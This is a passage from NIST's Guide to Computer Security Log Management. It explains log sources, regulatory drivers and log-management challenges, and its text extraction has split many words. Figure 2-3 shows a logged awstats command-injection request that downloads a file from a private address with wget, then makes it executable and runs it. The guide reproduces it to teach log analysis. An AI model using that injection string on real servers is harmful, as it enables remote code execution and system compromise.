servers, workstations, and networking equipment; and applications. The number, volume, and variety of computer security logs have increased greatly, which has created the need for computer security log management—the process for generating, transmitting, storing, analyzing, and disposing of computer security log data. Log management is essential to ensuring that computer security records are stored in sufficient detail for an appropriate period of time. Routine log analysis is beneficial for identifying security incidents, policy viola tions, fraudulent activity, and operational problems. Logs are also useful whe n performing auditing and forensic analysis, suppo rting internal investigations, establishing baselines, and identifying operational trends and long -term problems. Organizations also may store and analyze certain logs to comply with Federal legislation and regulations, including the Federal Information Security Management Act of 2002 ( FISMA), the Health Insurance Portability and Accountability Act of 1996 ( HIPAA), the Sarbanes-Oxley Act of 2002 ( SOX), the Gramm-Leach-Bliley Act (GLBA), and the Payment Card Industry Data Security Standard (PCI DSS). A fundamental problem with log management that occurs in many organizations is effectively balancing a limited quantity of log management resources with a continuous supply of log data. Log generation and storage can be complicated by several factors, including a high number of log sources; inconsistent log content, formats, and timestamps among sources; and increasingly large volumes of log data. Log management also involve s protecting the confidentiality, integrity, and availability of logs. Ano ther problem with log management is ensuring that security, system, and network administrators regularly perform effective analysis of log data. This publ ication pr ovides guidance for meeting these log management challenges. Implementing the following recommendations sho uld assist in facilitating more efficient and effective log management for Federal departments and agencies. Organizations should establish policies and pro cedures for log management. To establish and maintain successful log management activities, an organization should develop standard processes for performing log management. As part of the planning process, an organization should define its logging requirements and goals. Based on those, an organization should then develop pol icies that clearly define mandatory requirements and sugge sted recommendations for log management activities, including log generation, transmission, storage, analysis, and disposal. An or ganization should also ensure that related policies and procedures incorporate and suppo rt the log management requirements and recommendations. The organization’s management sho uld provide the necessary suppo rt for the efforts involving log management planning, policy, and procedures development. Requirements and recommendations for logging should be created in conjunction with a detailed analysis of the technology and resources needed to implement and maintain them, their security implications and value, and the regulations and laws to which the organization is subject (e.g., FISMA, HIPAA, SOX). Generally, organizations should require logging and analyzing the data that is of greatest im portance, and also have non-mandatory recommendations for which othe r types and sources of data should be logge d and analyzed if time and resources permit. In some cases, organizations choose to have all or nearly all log data generated and stored for at least a short period of time in case it is needed, which favors security ES-1 GUIDE TO COMPUTER SECUR ITY LOG MANAGEMENT considerations over usability and resource usage, and also allows for better decision-making in some cases. When establishing requirements and recommendations, organizations should strive to be flexible since each system is different and will log different amounts of data than other systems. The organization’s policies and procedures should also address the preservation of original logs. Many organizations send copies of network traffic logs to centralized devices, as well as use tools that analyze and interpret network traffic. In cases where logs may be needed as evidence, organizations may wish to acquire copies of the original log files, the centralized log files, and interpreted log data, in case there are any questions regarding the fidelity of the copying and interpretation processes. Retaining logs for evidence may involve the use of different forms of storage and different processes, such as additional restrictions on access to the records. Organizations should prioritize log management appropriately throughout the organization. After an organization defines its requirements and goals for the log management process, it should then prioritize the requirements and goals based on the organization’s perceived reduction of risk and the expected time and resources needed to perform log management functions. An organization should also define roles and responsibilities for log management for key personnel throughout the organization, including establishing log management duties at both the individual system level and the log management infrastructure level. Organizations should create and maintain a log management infrastructure. A log management infrastructure consists of the hardware, software, networks, and media used to generate, transmit, store, analyze, and dispose of log data. Log management infrastructures typically perform several functions that suppo rt the analysis and security of log data. After establishing an initial log management poli cy and identifying roles and responsibilities, an organization should next de velop one or more log management infrastructures that effectively suppo rt the policy and roles. Organizations should consider implementing log management infrastructures that includes centralized log servers and log data storage. When designing infrastructures, organizations should plan for both the current and future needs of the infrastructures and the individ ual log sources throughout the organization. Major factors to consider in the design include the volume of log data to be processed, network bandwidth, online and offline data storage, the security requirements for the data, and the time and resources needed for staff to analyze the logs. Organizations should provide proper support for all staff with log management responsibilities. To ensure that log management for individual systems is performed effectively throughout the organization, the administrators of those systems sho uld receive adequate suppo rt. This should include disseminating information, providing training, designating points of contact to answer questions, providing specific technical guidance, and making tools a nd documentation available. Organizations should establish standard log management operational processes. The major log management operational processes typically include configuring log sources, performing log analysis, initiating responses to identified events, and managing long -term storage. Administrators have other responsibilities as well, such as the following:  Monitoring the logging status of all log sources  Monitoring log rotation and archival processes ES-2 GUIDE TO COMPUTER SECUR ITY LOG MANAGEMENT  Checking for upgrades and patches to loggin g software, and acquiring, testing , and deploying them  Ensuring that each logging host’s clock is sync hed to a common time source  Reconfiguring logg ing as needed based on policy changes, technology changes, and other factors  Documenting and reporting anomalies in log settings, configurations, and processes. ES-3 GUIDE TO COMPUTER SECUR ITY LOG MANAGEMENT This page has been left blank intentionally. ES-4 GUIDE TO COMPUTER SECUR ITY LOG MANAGEMENT 1. Introduction 1.1 A uthority The National Institute of Standards and Technology (NIST) developed this document in furtherance of its statutory responsibilities under the Federal Information Security Management Act (FISMA) of 2002, Public Law 107- 347. NIST is responsible for developing standards and guidelines, including minimum requirements, for providing adequate information security for all agency operations and assets; but such standards and guidelines shall not apply to national security systems. This guideline is consistent with the requirements of the Office of Management and Budget (OMB) Circular A-130, Section 8b(3), “Securing Agency Information Systems,” as analyzed in A-130, Appendix IV: Analysis of Key Sections. Supplemental information is provided in A-130, Appendix III. This guideline has been prepared for use by Federal agencies. It may be used by nongove rnmental organizations on a voluntary basis and is not subject to copyright, though attribution is desired. Nothing in this document should be taken to contradict standards and gu idelines made mandatory and binding on Federal agencies by the Secretary of Commerce under statutory authority, nor should these guidelines be interpreted as altering or supe rseding the existing authorities of the Secretary of Com merce, Director of the OMB, or any other Federal official. 1.2 Purpose and Scope This publ ication seeks to assist organizations in unde rstanding the need for sound computer security log management. It provides practical, real-world guidance on developing, implementing, and maintaining effective log management pr actices throughout an enterprise. The guidance in this publi cation covers several topics, including establishing log management infrastructures, and developing and performing robust l og management processes throughout an organization. The publ ication presents log management technolog ies from a high-level viewpoint, and it is not a step-by-step guide to implementing or using log management technologie s. 1.3 Audience This publication has been created for computer security staff and program managers; system, network, and application administrators; computer security incident response teams; and others who are responsible for performing duties related to computer security log management. 1.4 Pu blication Structure The remainder of this publ ication is organized into four major sections. Section 2 provides an introduction to computer security log management, including an explanation of log management ne eds an organization might have and the challenges involve d in log management. Section 3 discusses the components, architectures, and functions of log management infrastructures. Section 4 provides recommendations for planning log management, such as defining roles and responsibilities and creating feasible logging policies. Section 5 explains the processes that an organization should develop and perform for log management operations. The publi cation also contains several appendices with suppo rting material. Appendices A and B contain a glossary and acronym list, respectively. Appendix C lists tools and online and print resources that are 1-1 GUIDE TO COMPUTER SECUR ITY LOG MANAGEMENT useful references for gaining a better understanding of log management. Appendix D c ontains an inde x for the publi cation. 1-2 GUIDE TO COMPUTER SECUR ITY LOG MANAGEMENT 2. Introduction to C omputer Security Log M anagement A log is a record of the events occurring within an organization’s systems and networks. Logs are composed of log entries; each entry contains information related to a specific event that has occurred within a system or network. Originally, logs were used primarily for troubleshooting problems, but logs now serve many functions within most organizations, such as optimizing system and network performance, recording the actions of users, and providing data useful for inve stigating malicious activity. Logs have evolved to contain information related to many different types of events occurring within networks and systems. Within an organization, many logs contain records related to computer security; common examples of these computer security logs are audit logs that track user authentication attempts and security device logs that record possible attacks. This guide addresses only those logs that typically contain computer security-related information.1 Because of the wide spread deploym ent of networked servers, workstations, and other computing devices, and the ever-increasing number of threats against networks and systems, the number, volume, and variety of computer security logs has increased greatly. This has created the need for computer security log manage ment, which is the process for generating, transmitting, storing, analyzing, and disposing of computer security log data. This section of the document discusses the needs and challenges in computer security log management. Section 2.1 explains the basics of computer security logs. Section 2.2 discusses the laws, regulations, and operational needs involved with log management. Section 2.3 explains the most common log management challenges, and Section 2.4 offers high-level recommendations for meeting them. 2.1 The Basics of Com pute r Security Logs Logs can contain a wide variety of information on the events occurring within systems and networks.2 This section describes the following categories of logs of particular interest:  Security software logs primarily contain computer security-related information. Section 2.1.1 describes them.  Operating system logs (described in Section 2.1.2) and application logs (described in Section 2.1.3) typically contain a variety of information, including computer security-related data. Under different sets of circumstances, many logs created within an organization could have some relevance to computer security. For example, logs from network devices such as switches and wireless access poin ts, and from programs such as network monitoring software, might record data that could be of use in computer security or other information technology (IT) initiatives, such as operations and audits, as well as in demonstr ating compliance with regulations. However, for computer security these logs are generally used on an as-needed basis as supplementary sources of information. This document focuses on the types of logs that are most often deemed to be important by organizations in terms of computer security. Organizations should consider the value of each potential source of computer security log data when designing and implementing a log management infrastructure. Most of the sources of the log entries run continuously, so they generate entries on an ongoin g basis. Howe ver, som e sources run periodically, so they generate entries in batches, often at regular intervals. 1 For the remainder of this document, the terms “log” and “computer security log” are interchang eable, except where otherwise noted. 2 If the logs contain personally identifiable information—information that could be used to identify individuals, such as social security numbers—the organization should ensure that the privacy of the log information is properly protected. The people responsible for privacy for an organization should be consulted as part of log m anagement planning. 2-1 GUIDE TO COMPUTER SECUR ITY LOG MANAGEMENT This section notes any log sources that work in batch mode because this can have a significant impact on the usefulness of their logs for incident response and other time-sensitive efforts. 2.1.1 Security Software Most organizations use several types of network-based and host-based security software to detect malicious activity, protect systems and data, and suppor t incident response efforts. Accordingly, security software is a major source of computer security log data. Commo n types of network-based and host- based security software include the following:  Antimalware Software. The most common form of antimalware software is antivirus software, which typically records all instances of detected malware, file and system disinfection attempts, and file quarantines.3 Additionally, antivirus software might also record when malware scans were performed and when antivirus signature or software updates occurred. Ant ispyware software and other types of antimalware software (e.g., rootkit detectors) are also commo n sources of security information.  Intrusion Detection and Intrusion Prevention Systems. Intrusion detection and intrusion prevention systems record detailed information on suspi cious be havior and detected attacks, as well as any actions intrusion prevention systems performed to stop malicious activity in progress. Some intrusion detection systems, such as file integrity checking software, run periodically instead of continuously, so they generate log entries in batches instead of on an ongoing basis.4  Remote Acc ess Software. Remote access is often granted and secured through virtual private networking (VPN). VPN systems typically log successful and failed login attempts, as well as the dates and times each user conne cted and disconne cted, and the amount of data sent and received in each user session. VPN systems that suppo rt granular access control, such as many Secure Sockets Layer (SSL) VPNs, may log detailed information about the use of resources.  Web Proxies. Web proxies are intermediate hosts th rough which Web sites are accessed. Web proxies make Web page requests on b ehalf of users, and they cache copies of retrieved Web pages to make additional accesses to those pages more efficient. Web proxies can also be used to restrict Web access and to add a layer of protection between Web clients and Web servers. Web proxies often keep a record of all UR Ls accessed through them.  Vulnerability Management Software. Vulnerability management software, which includes patch management software and vulnerability assessment software, typically logs the patch installation history and vulnerability status of each host, which includes known vulnerabilities and missing software updates.5 Vulnerability management software may also record additional information about hosts’ configurations. Vulnerability management software typically runs occasionally, not continuously, and is likely to generate large batches of log entries.  Authentication Servers. Authentication servers, including directory servers and single sign-on servers, typically log each authentication attempt, including its origin, username, success or failure, and da te and time. 3 See N IST SP 800- 83, Guide to Malware Incident Prevention and Handling, for more information on antivirus software. The pub lication is available at http://csrc.nist.gov/publications/nistpubs/. 4 For more information on intrusion detection systems, see NIST SP 800-94 (DRAFT), Guide to Intrusion Detection and Prevention Systems, which is available at http://csrc.nist.gov/publications/nistpubs/. 5 NIST SP 8 00-40 version 2, Creating a Patch and Vulnerability Manage ment Program, contains guidance on vulnerability management software. SP 800-40 version 2 can be downloaded from http://csrc.nist.gov/publications/nistpubs/. 2-2 GUIDE TO COMPUTER SECUR ITY LOG MANAGEMENT  Routers . Routers may be configured to permit or block certain types of network traffic based on a policy. Routers that block traffic are usua lly configured to log only the most ba sic characteristics of blocked activity.  Firewalls. Like routers, firewalls permit or block activity based on a policy; howe ver, firewalls use much more sophisticated methods to examine network traffic.6 Firewalls can also track the state of network traffic and perform content inspection. Firewalls tend to have more complex policies and generate more detailed logs of activity than routers.  Netwo rk Quarantine Servers. Some organizations check each remote host’s security posture before allowing it to join the network. This is often done through a network quarantine server and agents placed on each host. Hosts that do not respond to the server’s checks or that fail the checks are quarantined on a separate virtual local area network (VLAN) segment. Network quarantine servers log information about the status of checks, including which hosts were quarantined and for what reasons. Figure 2-1 contains several examples of security software log entries.7 Intrusion Detection System [**] [1:1407:9] SNMP trap udp [**] [Classification: Attempted Information Leak] [Priority: 2] 03/06-8:14:09.082119 192.168.1.167:1052 -> 172.30.128.27:162 UDP TTL:118 TOS:0x0 ID:29101 IpLen:20 DgmLen:87 Personal Firewall 3/6/2006 8:14:07 AM,"Rule ""Block Windows File Sharing"" blocked (192.168.1.54, netbios-ssn(139)).","Rule ""Block Windows File Sharing"" blocked (192.168.1.54, netbios-ssn(139)). Inbound TCP connection. Local address,service is (KENT(172.30.128.27),netbios-ssn(139)). Remote address,service is (192.168.1.54,39922). Process name is ""System""." 3/3/2006 9:04:04 AM,Firewall configuration updated: 398 rules.,Firewall configuration updated: 398 rules. Antivirus Software, Log 1 3/4/2006 9:33:50 AM,Definition File Download,KENT,userk,Definition downloader 3/4/2006 9:33:09 AM,AntiVirus Startup,KENT,userk,System 3/3/2006 3:56:46 PM,AntiVirus Shutdown,KENT,userk,System Antivirus Software, Log 2 240203071234,16,3,7,KENT,userk,,,,,,,16777216,"Virus definitions are current.",0,,0,,,,,0,,,,,,,,,,SAVPROD,{ xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx },End User,(IP)-192.168.1.121,,GROUP,0:0:0:0:0:0,9.0.0.338,,,,,,,,,,,,,,, Antispyware Software DSO Exploit: Data source object exploit (Registry change, nothing done) HKEY_USERS\S- 1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1004!=W=3 Figure 2-1. Secur ity Software Log En try Examples 6 More information on firewalls is available from NIST Spec ial Publication (SP) 800-41, Guidelines on Firewalls and Firewall Policy, which is available for download at http://csrc.nist.gov/publications/nistpubs/. 7 Portions of the log examples in this publication have been sanitized to remove Internet Protocol (IP) addresses and other identifying information. 2-3 GUIDE TO COMPUTER SECUR ITY LOG MANAGEMENT 2.1.2 Operating Systems Operating systems (OS) for servers, workstations, and networking devices (e.g., routers, switches) usua lly log a variety of information related to security. The most commo n types of security-related OS data are as follows:  System Events. System events are operational actions performed by OS components, such as shutting dow n the system or starting a service. Typically, failed events and the most signi ficant successful events are logge d, but m any OSs permit administrators to specify which types of events will be logged. The details logged for each event also vary widely; each event is usua lly timestamped, and other suppo rting information could include event, status, and error codes; service name; and user or system account associated with an event.  Audit Reco rds. Audit records contain security event information such as successful and failed authentication attempts, file accesses, security policy changes, account changes (e.g., account creation and deletion, account privilege assignm ent), and use of privileges. OSs typically permit system administrators to specify which types of events should be audited and whether successful and/or failed attempts to perform certain actions sho uld be logge d. OS logs might also contain information from security software and other applications running on the system. Section 2.1.3 provides more information on application log data. OS logs are most beneficial for identifying or inve stigating suspi cious activity invol ving a particular host. After suspicious activity is identified by security software, OS logs are often consulted to get more information on the activity. For example, a network security device might detect an attack against a particular host; that host’s OS logs might indicate if a user was logge d into the host at the time of the attack and if the attack was suc cessful. Many OS logs are created in syslog format; Section 3.3 discusses syslog in detail and provides examples of syslog log entries. Oth er OS logs, such as those on Window s systems, are stored in proprietary formats. Figure 2-2 give s an example of log data exported from a Window s security log. Event Type: Success Audit Event Source: Security Event Category: (1) Event ID: 517 Date: 3/6/2006 Time: 2:56:40 PM User: NT AUTHORITY\SYSTEM Computer: KEN T Description: The audit log was cleared Primary User Name: SYSTEM Primary Domain: NT AUTHORITY Primary Logon ID: (0x0,0x3F7) Client User Name: userk Client Domain: KENT Client Logon ID: (0x0,0x28BFD) Figure 2-2. Operating System Log Entry Example 2.1.3 Applications Operating systems and security software provide the found ation and protection for applications, which are used to store, access, and manipulate the data used for the organization’s busine ss pr ocesses. Mo st organizations rely on a variety of comme rcial off-the-shelf (COTS) applications, such as e-mail servers and clients, Web servers and browsers, file servers and file sharing clients, and da tabase servers and clients. Many organizations also use various COTS or gove rnment off-t he-shelf (GOT S) business 2-4 GUIDE TO COMPUTER SECUR ITY LOG MANAGEMENT applications such as suppl y chain management, financial management, procurement systems, enterprise resource planning, and custom er relationship management. In addition to COTS and GOT S software, most organizations also use custom-developed applications tailored to their specific requirements.8 Some applications generate their own log files, while others use the logging capabilities of the OS on which they are installed. Applic ations vary sign ificantly in the types of information that they log. The following lists som e of the most commonly logge d types of information and the potential benefits of each:9  Client req uests and server res ponses, which can be very helpful in reconstructing sequences of events and determining their apparent outcome. If the application logs successful user authentications, it is usually possible to determine which user made each request. Some applications can perform highly detailed logging, such as e-mail servers recording the sender, recipients, subject name, and attachment names for each e-mail; Web servers recording each URL requested and the type of response provide d by the server; and busine ss applications recording which financial records were accessed by each user. This information can be used to identify or investigate incidents and to monitor application usage for compliance and auditing purposes.  Acco unt i nformation such as successful and failed authentication attempts, account changes (e.g., account creation and deletion, account privilege assignment), and use of privileges. In addition to identifying security events such as brute force password guessing and escalation of privileges, it can be used to identify who has used the application and when each person has used it.  Usage information such as the number of transactions occurring in a certain period (e.g., minute, hour) and the size of transactions (e.g., e-mail message size, file transfer size). This can be useful for certain types of security monitoring (e.g., a ten-fold increase in e-mail activity might indi cate a new e-mail–borne malware threat; an unusually large outbound e-mail message might indicate inappropriate release of information).  Significant operational actions such as application startup and shutdown, application failures, and major application configuration changes. This can be used to identify security compromises and op erational failures. Much of this information, particularly for applications that are not used through unencrypted network communications, can only be logge d by the applications, which makes application logs particularly valuable for application-related security incidents, auditing, and compliance efforts. However, these logs are often in proprietary formats that make them more difficult to use, and the data they contain is often highly context-dependent, necessitating more resources to review their contents. Figure 2-3 contains a sample log entry from a Web server log, along with an explanation of the information recorded in the entry. 8 A single implementation of an application cou ld also be used by multiple organizations. For example, a parent organization could host an application that its member agencies all use. The logs for the agencies’ use of the application would most likely be managed by the parent organization, but each individual agency might also have the ability to review the log information for its own users. 9 An organization should consider having a policy that defines the logging requirements for custom applications developed for it. Such a policy helps to ensure that applications will log the information necessary to suppo rt the security of the application and the auditing of its use. 2-5 GUIDE TO COMPUTER SECUR ITY LOG MANAGEMENT 172.30.128.27 - - [14/Oct/2005:05:41:18 -0500] "GET /awstats/awstats.pl?config dir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%20192%2e168%2e1%2e214%2fnikons%3bchmod%20%2bx% 20nikons%3b%2e%2fnikons;echo%20YYY;echo| HTTP/1.1" 302 494 172.30.128.27 IP address of the host that initiated the request - Indicates that the information was not available (this server is not configured to put a ny information in the second field) - User ID suppl ied for HTTP authentication; in this case, no authentication was performed [14/Oct/2005:05:41:18 -0500] Date and time that the Web server completed handling the request GET HTTP method /awstats/awstats.pl URL in the request config dir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%20192%2e168%2e1%2e214%2fnikons%3bchmod %20%2bx%20nikons%3b%2e%2fnikons;echo%20YYY;echo| Argument for the request. Each % followe d by two hexadecimal characters is a hex encoding of an ASCII character. For example, hex 20 i s equivalent to decimal 32, and ASCII character 32 is a space; therefore, %20 is equivalent to a space. The ASCII equivalent of the log entry above is shown below.10 config dir=|echo;echo YYY;cd /tmp;wget 192.168.1.214/nikons;chmod +x nikons;/.nikons; echo YYY;echo| HTTP/1.1 Protocol and protocol version used to make the request 302 Status code for the response; in the HTTP protocol standards, code 302 c orrespond s to “found” 494 Size of the response in bytes Figure 2-3. Web Server Log Entry Examples 2.1.4 Usefulness of Logs The categories of logs described in Sections 2.1.1 through 2.1.3 typically contain different types of information. Accordingly , som e logs are generally more likely than others to record information that would be helpful for different situations, such as detecting attacks, fraud, and inappropriate usage. For 10 This log entry shows malicious activity. The attack is attempting to transfer a file called “nikons” from the host at IP address 192.168.1.214 to the Web server, set the file to be executable, then run it, most likely with the privileges of the Web server. 2-6 GUIDE TO COMPUTER SECUR ITY LOG MANAGEMENT each type of situation, certain logs are typically the most likely to contain detailed information on the activity in question. Other logs typically contain less detailed information, and are often only helpful for correlating events recorded in the primary log types. For example, an intrusion detection system could record malicious commands issued to a server from an external host; this would be a primary source of attack information. An incident handler could then review a firewall log to look for other conne ction attempts from the same source IP address; thi s would be a secondary source of attack information. Administrators using logs should also be mindful of the trustworthiness of each log source. Log sources that are not properly secured, including insecure transport mechanisms, are more susc eptible to log configuration changes and log alteration. Of course, administrators should be particularly cautious about the accuracy of logs from hosts that have been attacked successfully; it is usually prudent to examine other logs as well. 2.2 The Need for Log M anagement Log management can benefit an organization in many ways. It helps to ensure that computer security records are stored in sufficient detail for an appropriate period of time. Routine log reviews and analysis are beneficial for identifying security incidents, policy violations, fraudulent activity, and op erational problems shortly after they have occurred, and for providing information useful for resolving such problems. Logs can also be useful for performing auditing and forensic analysis, suppo rting the organization’s internal investigations, establishing baselines, and identifying operational trends and long- term problems. Besides the inherent benefits of log management, a number of laws and regulations further compel organizations to store and review certain logs. The following is a listing of key regulations, standards, and guidelines that help define organizations’ needs for log management:  Federal Information Security Management Act of 2002 ( FISMA). FISMA emphasizes the need for each Federal agency to develop, document, and implement an organization-wide program to provide information security for the information systems that suppo rt its operations and assets. NIST SP 800-53, Recomme nded Security Controls for Federal Information Systems, was developed in suppo rt of FISMA.11 NIST SP 800- 53 is the primary source of recommended security controls for Federal agencies. It describes several controls related to log management, including the generation, review, protection, and retention of audit records, as well as the actions to be taken because of audit failure.  Gramm-Leach-Bliley Ac t (GLBA).12 GLBA requires financial institutions to protect their custom ers’ information against security threats. Log management can be helpful in identifying possible security violations and resolving them effectively.  Health Insurance Portability and Accountability Act of 1996 ( HIPAA). HIPAA i ncludes security standards for certain health information. NIST SP 800- 66, An Introductory Resourc e Guide for Implementing t he Health Insuranc e Portabili ty and Ac countab ility Act (HIPAA) Security Rule, lists HIPAA-related log management needs.13 For example, Section 4.1 of NIST SP 800- 66 describes the need to perform regular reviews of audit logs and access reports. Also, 11 Copies of FISMA and N IST SP 800- 53 are available at http://csrc.nist.gov/sec-cert/ca-library.html. 12 More information on GLBA is available at http://www. ftc.gov/privacy/privacyinitiatives/glbact.html. A copy of GLBA can be do wnloaded from http://www. ftc.gov/privacy/privacyinitiatives/financial_rule_lr.html. 13 HIPAA is available for download from http://www. hhs.gov/ocr/hipaa/. NIST SP 800-66 is located at http://csrc.nist.gov/publications/nistpubs/. 2-7 GUIDE TO COMPUTER SECUR ITY LOG MANAGEMENT Section 4.22 spe cifies that documentation of actions and activities need to be retained for at least six years.  Sarbanes-Oxley Act (SOX) of 2002.14 Although SOX a pplies primarily to financial and accounting practices, it also encompasses the information technology (IT) functions that suppo rt these practices. SOX c an be suppo rted by reviewing logs regularly to look for signs of security violations, including exploi tation, as well as retaining logs and records of log reviews for future review by auditors.  Payment Card Industry Data Security Standard (PCI DSS ). PCI DSS applies to organizations that “store, process or transmit cardholder data” for credit cards. One of the requirements of PCI DSS is to “track…all access to network resources and cardholder data”.15 2.3 The Cha llenges in Log M anagement Most organizations face similar log management-related challenges, which have the same underlying problem: effectively balancing a limited amount of log management resources with an ever-increasing suppl y of log data. This section discusses the most common ty pes of challenges, divided into three groups. First, there are several potential problems with the initial generation of logs because of their variety and prevalence. Second, the confidentiality, integrity, and availability of generated logs could be breached inadvertently or intentionally. Finally, the people responsible for performing log analysis are often inadequately prepared and suppo rted. Sections 2.3.1 through 2.3.3 discuss e ach of these three categories of log challenges. 2.3.1 Log G eneration and Storage In a typical organization, many hosts’ OSs, security software, and ot her applications generate and store logs. This complicates log management in the following ways:  Many Log Sources. Logs are located on many hosts throughout the organization, necessitating log management to be performed througho ut the organization. Also, a single log source can generate multiple logs—for example, an application storing authentication attempts in one log and network activity in another log.  Inconsistent Log Content. Each log source records certain pieces of information in its log entries, such as host IP addresses and usernames. For efficiency, log sources often record only the pieces of information that they consider most im portant. This can make it difficult to link events recorded by different log sources because they may not have any common values recorded (e.g., source 1 records the source IP address but n ot the username, and source 2 records the username but no t the source IP address). Each type of log source may also represent values differently; these differences may be slight, such as one date being in MMDDYYYY format and another being in MM-DD-YYYY format, or they may be much more complex, such as use of the File Transfer Protocol (FTP) being identified by name in one log (“FTP”) and by port number in another log (21). This further complicates the process of linking events recorded by different log sources.16 14 More information on SOX, and a copy of SOX itself, can be found at http://www.s ec.gov/about/laws.shtml. 15 This information is from the PCI DSS, which is available at http://usa.visa.com/download/business/accepting_visa/ops_risk_management/cisp_PCI_Data_Security_Standard.pdf. 16 There are some standards for log con tent, such as Web server logs. However, for most log sources there are no logging standards available. One current standards effort is the Intrusion Detection Me ssage Exchange Format (IDMEF); the latest Internet-Draft for IDMEF is available at http://www.ietf.org/internet-drafts/draft-ietf-idwg-idmef-xml-16.txt. 2-8 GUIDE TO COMPUTER SECUR ITY LOG MANAGEMENT  Inconsistent Tim estamps. Each host that generates log s typically references its internal clock when setting a timestamp for each log entry. If a host’s clock is inaccurate, the timestamps in its logs will also be inaccurate. This can make analysis of logs more difficult, particularly when logs from multiple hosts are being analyzed. For example, timestamps might indicate that event A happened 45 se conds before event B, whe n event A actually happened two minutes after event B.  Inconsistent Log Formats.17 Many of the log source type s use different formats for their logs, such as comma-separated or tab-separated text files,18 databases, syslog, Simple Network Management Protocol (SNMP ), Extensible Markup Language (XML), and binary files.19 Some logs are designed for humans to read, while others are not; some logs use standard formats, while others use proprietary formats. Some logs are created not for local storage in a file, but for transmission to another system for processing ; a common example of this is SNMP traps. For some output f ormats, particularly text files, there are many possibilities for the sequence of the values in each log entry and the delimiters between the values (e.g., comma-separated values, tab- delimited values, XML). To facilitate analysis of logs, organizations often need to implement automated methods of conve rting logs with different content and formats to a single standard format with consistent data field representations. Inconsistent log formats and data field representations also present challenges to people reviewing logs, who need to unde rstand the meaning of various data fields in each log to perform a thorough review. Because most ho sts w ithin an organization typically log som e computer security-related information, often with multiple logs per host, the number of logs within an organization can be quite high. Many logs record large volumes of data on a daily basis, so the total daily volume of log data within an organization is often overwhelming. This impacts the resources needed to store the data for the appropriate length of time, as described in Section 2.3.2, and to perform reviews of the data, as described in Section 2.3.3. The distributed nature of logs, inconsistent log formats, and volume of logs all make the management of log generation and storage challenging . 2.3.2 Log Protection Because logs contain records of system and network security, they need to be protected from breaches of their confidentiality and integrity. For example, logs might intentionally or inadvertently capture sensitive information such as users’ passwords and the content of e-mails. This raises security and privacy concerns invo lving both the individ uals that review the logs and others that might be able to access the logs through authorized or unauthorized means. Logs that are secured improperly in storage or in transit might also be susc eptible to intentional and unintentional alteration and destruction. This could cause a variety of impacts, including allowing malicious activities to go unno ticed and manipulating evidence to conceal the identity of a malicious party. For example, many rootkits are specifically designed to alter logs to remove any evidence of the rootkits’ installation or execution. Organizations also need to protect the availability of their logs. Many logs have a maximum size, such as storing the 10,000 m ost recent events, or keeping 100 m egabytes of log data. When the size limit is reached, the log might ove rwrite old data with new data or stop logging altogether, both of which would 17 There is no consensus in the security community as to the standard terms to be used to describe the composition of log entries and files. For the purposes of this publication, the terms “log content” and “log format” have been defined and used, but other publications may use different terms or different definitions for these terms. 18 It is not always safe to assume that a text file log will only contain text. For example, as part of an attack, an attacker might provide binary data as input to a program that is expecting text data. If the program records this input into its log, then the log is no longer strictly a text file. This could cause log management utilities to fail or mishandle the log data. 19 Binary files often use proprietary formats that are software-specific (e.g., event logs on Windows systems). 2-9 GUIDE TO COMPUTER SECUR ITY LOG MANAGEMENT cause a loss of log data availability. To meet data retention requirements, organizations might need to keep copies of log files for a longe r period of time than the original log sources can suppo rt, which necessitates establishing log archival processes. Because of the volume of logs, it might be appropriate in some cases to reduce the logs by filtering out log entries that do not need to be archived. The confidentiality and integrity of the archived logs also need to be protected. 2.3.3 Log Analysis Within most organizations, network and system administrators have traditionally been responsible for performing log analysis—studying log entries to identify events of interest. It has often been treated as a low-priority task by administrators and management because other duties of administrators, such as handling operational problems and resolving security vulne rabilities, necessitate rapid responses. Adm inistrators who are responsible for performing log analysis often receive no training on doing it efficiently and effectively, particularly on prioritization. Also, administrators often do not receive tools that are effective at automating much of the analysis process, such as scripts and security software tools (e.g., host-based intrusion detection products, security information and event management so ftware). Many of these tools are particularly helpful in finding patterns that humans cannot easily see, such as correlating entries from multiple logs that relate to the same event. Another problem is that many administrators consider log analysis to be boring and to provide little benefit for the amount of time required. Log analysis is often treated as reactive—som ething to be done after a problem has been identified through other means—rather than proactive, to identify ongo ing activity and look for signs of impending problems. Traditionally, most log s have not been analyzed in a real-time or near-real-time manner. Without sound processes for analyzing logs, the value of the logs is significantly reduced. 2.4 Meeting the Challenges Despite the many challenges an organization faces in log management, there are a few key practices an organization can follow to avoid and even solve many of these obstacles it confronts. The following four measures give a brief explanation of these solutions:  Prioritize log management appropriately throughout the organization. An organization should define its requirements and goals for performing loggin g and monitoring logs to include applicable laws, regulations, and existing organizational policies. The organization can then prioritize its goals based on balancing the organization’s reduction of risk with the time and resources needed to perform log management functions.  Establish policies and pro cedures for log management. Policies and procedures are beneficial because they ensure a consistent approach througho ut the organization as well as ensuring that laws and regulatory requirements are being met. Periodic audits are one way to confirm that logging standards and guidelines are being followed throughout the organization. Testing and validation can further ensure that the policies and procedures in the log management process are being performed properly.  Create and maintain a secure log m anagement infrastructure. It is very helpful for an organization to create components of a log management infrastructure and determine how these components interact. This aids in preserving the integrity of log data from accidental or intentional modification or deletion, and also in maintaining the confidentiality of log data. It is also critical to create an infrastructure robust e nough to handle not only expected volumes of log data, but also peak volumes during extreme situations (e.g., widespread malware incident, penetration testing, vulnerability scans). 2-10 GUIDE TO COMPUTER SECUR ITY LOG MANAGEMENT  Provide adequate suppo rt for all staff with log management responsibilities. While defining the log management scheme, organizations sho uld ensure that they provide the necessary training to relevant staff regarding their log management responsi bilities as well as skill instruction for the needed resources to suppo rt log management. Support also includes providing log management tools and tool documentation, providing technical guidance on log management activities, and disseminating information to log management sta ff. 2.5 Summa ry Many logs within an organization contain records related to computer security events occurring within systems and networks. For example, most organizations use several types of security software, such as antivirus so ftware, firewalls, and intrusion prevention systems, to detect malicious activity and protect systems and data from damage. Security software is usually the primary source of computer security logs. OSs for servers, workstations, and networking equipment usually log a variety of information related to security, such as system events and audit records. Another common type of log generator is applications, which may send information to OS logs or application-specific logs. The number, volume, and variety of computer security logs has increased greatly, which has created the need for computer security log management—the process for generating, transmitting, storing, analyzing, and disposing of computer security log data. Log management helps to ensure that computer security records are stored in sufficient detail for an appropriate period of time. Routine log analysis is beneficial for identifying security incidents, policy violations, fraudulent 